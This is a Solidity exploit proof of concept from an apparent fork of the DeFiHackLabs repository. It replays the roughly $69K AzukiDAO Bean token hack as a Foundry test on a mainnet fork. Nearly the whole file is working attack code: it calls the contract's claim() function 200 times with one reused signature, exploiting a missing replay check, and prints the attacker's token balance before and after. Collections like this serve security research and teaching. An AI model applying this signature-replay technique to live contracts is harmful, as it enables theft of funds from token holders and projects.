forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
AzukiDAO_exp.sol
86 lines (76 loc) · 3.34 KB
/
AzukiDAO_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~$69K
// Attacker : https://etherscan.io/address/0x85d231c204b82915c909a05847cca8557164c75e
// Vulnerable Contract : https://etherscan.io/address/0x8189afbe7b0e81dae735ef027cd31371b3974feb
// Attack Tx : https://etherscan.io/tx/0x6233c9315dd3b6a6fcc7d653f4dca6c263e684a76b4ad3d93595e3b8e8714d34
// @Analysis
// https://twitter.com/sharkteamorg/status/1676892088930271232
interface IBean is IERC20 {
function claim(
address[] memory _contracts,
uint256[] memory _amounts,
uint256[] memory _tokenIds,
uint256 _claimAmount,
uint256 _endTime,
bytes memory _signature
) external;
}
contract AzukiTest is Test {
IERC20 AZUKI = IERC20(0xED5AF388653567Af2F388E6224dC7C4b3241C544);
IBean Bean = IBean(0x8189AFBE7b0e81daE735EF027cd31371b3974FeB);
address private constant Elemental = 0xB6a37b5d14D502c3Ab0Ae6f3a0E058BC9517786e;
address private constant Beanz = 0x306b1ea3ecdf94aB739F1910bbda052Ed4A9f949;
address private constant azukiDAOExploiter = 0x85D231C204B82915c909A05847CCa8557164c75e;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 17_593_308);
cheats.label(address(AZUKI), "AZUKI");
cheats.label(address(Bean), "Bean");
cheats.label(Elemental, "Elemental");
cheats.label(Beanz, "Beanz");
cheats.label(azukiDAOExploiter, "Azuki DAO Exploiter");
}
function testExploit() public {
deal(address(Bean), azukiDAOExploiter, 0);
emit log_named_decimal_uint(
"Attacker balance of Bean token before exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()
);
// Arguments for the claim() function calls
// Signature: sender + contracts + tokenIds + claimAmount + endTime
bytes32 r = 0xd044373fa377c3af4a854829176d14eebc23d96c342401b294f3491f0616559c;
bytes32 s = 0x341d0ad6bccd30ed1d09d1b778a4f91738d5105f3986c7e6de9f9df847c90c93;
uint8 v = 27;
bytes memory signature = abi.encodePacked(r, s, v);
assertEq(signature.length, 65);
address[] memory contracts = new address[](3);
contracts[0] = address(AZUKI);
contracts[1] = Elemental;
contracts[2] = Beanz;
uint256[] memory amounts = new uint256[](3);
amounts[0] = 1;
amounts[1] = 0;
amounts[2] = 0;
uint256[] memory tokenIds = new uint256[](1);
tokenIds[0] = 3748;
vm.startPrank(azukiDAOExploiter);
// Call claim() 200 times with the same signature. Invalid signature check in Bean token contract.
// More iterations possible.
for (uint256 i; i < 200; ++i) {
Bean.claim(
contracts,
amounts,
tokenIds,
31_250 * 1e18,
1_688_142_867, // endTime. This value must be specific to the 'endTime' provided in the attack tx. Block.timestamp won't work here.
signature
);
}
vm.stopPrank();
emit log_named_decimal_uint(
"Attacker balance of Bean token after exploit", Bean.balanceOf(azukiDAOExploiter), Bean.decimals()
);
}
}